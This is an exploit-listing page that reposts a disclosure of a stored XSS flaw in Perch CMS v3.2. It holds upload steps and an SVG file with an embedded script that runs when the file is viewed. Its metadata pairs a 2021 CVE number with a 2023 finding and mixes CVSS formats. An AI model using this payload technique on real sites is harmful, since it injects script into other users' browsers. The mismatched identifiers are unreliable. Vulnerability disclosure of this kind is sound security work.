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Perch v3.2 Stored XSS

CVE Category Price Severity
CVE-2021-3740 CWE-79 $2,000 High
Author Risk Exploitation Type Date
Exploit Alert Team High Remote 2023-07-21
CVSS
CVSS:4.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023070053

Below is a copy:

Perch v3.2 Stored XSS
Exploit Title: Perch v3.2 - Stored XSS
Application: Perch Cms
Version: v3.2
Bugs:  XSS
Technology: PHP
Vendor URL: https://grabaperch.com/
Software Link: https://grabaperch.com/download
Date of found: 21.07.2023
Author: Mirabbas Aalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account
2. go to http://localhost/perch_v3.2/perch/core/settings/
3. upload svg file

"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
"""
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)

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